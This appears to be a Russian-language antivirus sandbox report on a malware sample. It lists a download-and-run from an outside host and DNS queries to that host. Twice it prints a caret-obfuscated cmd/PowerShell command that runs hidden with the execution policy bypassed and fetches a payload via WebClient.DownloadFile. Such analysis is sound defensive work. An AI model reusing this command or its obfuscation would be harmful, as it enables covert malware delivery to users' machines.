Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://flowers-my.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^Owe^rS^hElL.EXE^ -ExEc^UTIo^np^OlIcY ^B^Y^P^As^s ^-nO^prO^f^ilE ^-winDO^wsT^yL^e H^Id^dEn^ ^(n^E^w-Obj^E^ct^ S^y^S^t^em^.net.^we^bc^L^iE^N^t)^.^DOwn^LOA^D^fIL^E('http:/...
Сетевая активность
UDP
- DNS ASK fl###rs-my.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^Owe^rS^hElL.EXE^ -ExEc^UTIo^np^OlIcY ^B^Y^P^As^s ^-nO^prO^f^ilE ^-winDO^wsT^yL^e H^Id^dEn^ ^(n^E^w-Obj^E^ct^ S^y^S^t^em^.net.^we^bc^L^iE^N^t)^.^DOwn^LOA^D^fIL^E('http:/...' (со скрытым окном)
